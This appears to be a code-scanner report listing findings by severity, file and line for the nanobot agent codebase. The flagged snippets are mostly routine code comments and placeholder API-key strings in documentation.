| LOW | nanobot/utils/document.py | 42 | |
| LOW | nanobot/utils/document.py | 114 | |
| LOW | nanobot/utils/path.py | 10 | |
| LOW | nanobot/utils/helpers.py | 240 | |
| LOW | nanobot/utils/helpers.py | 420 | |
| LOW | nanobot/utils/helpers.py | 465 | |
| LOW | nanobot/agent/runner.py | 270 | |
| LOW | nanobot/agent/runner.py | 627 | |
| LOW | nanobot/agent/runner.py | 1137 | |
| LOW | nanobot/agent/runner.py | 1163 | |
| LOW | nanobot/agent/runner.py | 1250 | |
| LOW | nanobot/agent/memory.py | 334 | |
| LOW | nanobot/agent/loop.py | 897 | |
| LOW | nanobot/agent/loop.py | 1481 | |
| LOW | nanobot/agent/tools/image_generation.py | 164 | |
| LOW | nanobot/agent/tools/web.py | 268 | |
| LOW | nanobot/agent/tools/web.py | 290 | |
| LOW | nanobot/agent/tools/apply_patch.py | 133 | |
| LOW | nanobot/agent/tools/cron.py | 157 | |
| LOW | nanobot/agent/tools/filesystem.py | 193 | |
| LOW | nanobot/agent/tools/filesystem.py | 752 | |
| LOW | nanobot/agent/tools/filesystem.py | 978 | |
| LOW | nanobot/agent/tools/shell.py | 563 | |
| LOW | nanobot/agent/tools/self.py | 193 | |
| 83 more matches not shown… | |||
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | tests/test_api_attachment.py | 250 | # Create a file larger than 10MB |
| MEDIUM | tests/test_document_parsing.py | 265 | # Create a minimal PNG file (1x1 pixel) |
| MEDIUM | tests/agent/test_unified_session.py | 423 | # Create a message from telegram channel |
| MEDIUM | tests/agent/test_unified_session.py | 452 | # Create a long-running task stored under UNIFIED_SESSION_KEY |
| MEDIUM | tests/agent/test_unified_session.py | 459 | # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatch |
| MEDIUM | tests/agent/test_onboard_logic.py | 203 | # Create a mock field_info with None annotation |
| MEDIUM | tests/channels/test_channel_plugins.py | 1162 | # Create a real cancelled task |
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | docs/configuration.md | 618 | "apiKey": "your-api-key", |
| HIGH | docs/configuration.md | 640 | > "apiKey": "your-api-key", |
| HIGH | docs/configuration.md | 662 | "apiKey": "your-api-key", |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | nanobot/channels/dingtalk.py | 724 | # Step 1: Exchange downloadCode for a temporary download URL |
| LOW | nanobot/channels/dingtalk.py | 739 | # Step 2: Download the file content |
| LOW | nanobot/channels/weixin.py | 1335 | # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param) |
| LOW | nanobot/channels/weixin.py | 1359 | # Step 2: AES-128-ECB encrypt and POST to CDN |
| LOW | nanobot/channels/weixin.py | 1387 | # Step 3: Send message with the media item |
| LOW | nanobot/channels/wecom.py | 438 | # Step 1: init |
| LOW | nanobot/channels/wecom.py | 455 | # Step 2: send chunks |
| LOW | nanobot/channels/wecom.py | 467 | # Step 3: finish |
| LOW | tests/test_context_documents.py | 84 | # Step 1: extract_documents separates docs from images |
| LOW | tests/test_context_documents.py | 87 | # Step 2: _build_user_content handles only images (none left here) |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | nanobot/agent/tools/filesystem.py | 124 | # Check if resolved path starts with /dev/ (covers symlinks to devices) |
| LOW | nanobot/agent/tools/filesystem.py | 270 | # Read the file content after dedup check |
| LOW | nanobot/cli/onboard.py | 832 | # Check if context_window_tokens field exists |
| LOW | nanobot/cli/onboard.py | 838 | # Check if current value is the default (65536) |
| LOW | nanobot/skills/skill-creator/scripts/init_skill.py | 271 | # Check if directory already exists |
| LOW | nanobot/channels/manager.py | 421 | # Check if this message belongs to the same stream |
| LOW | nanobot/channels/wecom.py | 418 | # Read file size and data in a thread to avoid blocking the event loop |
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | nanobot/channels/dingtalk.py | 59 | # Parse using SDK's ChatbotMessage for robust handling |
| MEDIUM | nanobot/channels/signal.py | 687 | # Keep aliases of the bot account for robust mention matching. |
| LOW | nanobot/channels/weixin.py | 645 | # If quoted message is media, just pass the text |
| Severity | File | Line | Snippet |
|---|---|---|---|
| HIGH | nanobot/skills/skill-creator/scripts/init_skill.py | 256 | Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill p |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | nanobot/providers/registry.py | 61 | is_direct: bool = False |
| LOW | docs/my-tool.md | 41 | # → max_iterations: 40 |
| Severity | File | Line | Snippet |
|---|---|---|---|
| MEDIUM | tests/tools/test_mcp_tool.py | 474 |
| Severity | File | Line | Snippet |
|---|---|---|---|
| LOW | tests/tools/test_message_tool_suppress.py | 56 | arguments={"content": "Email content", "channel": "email", "chat_id": "user@example.com"}, |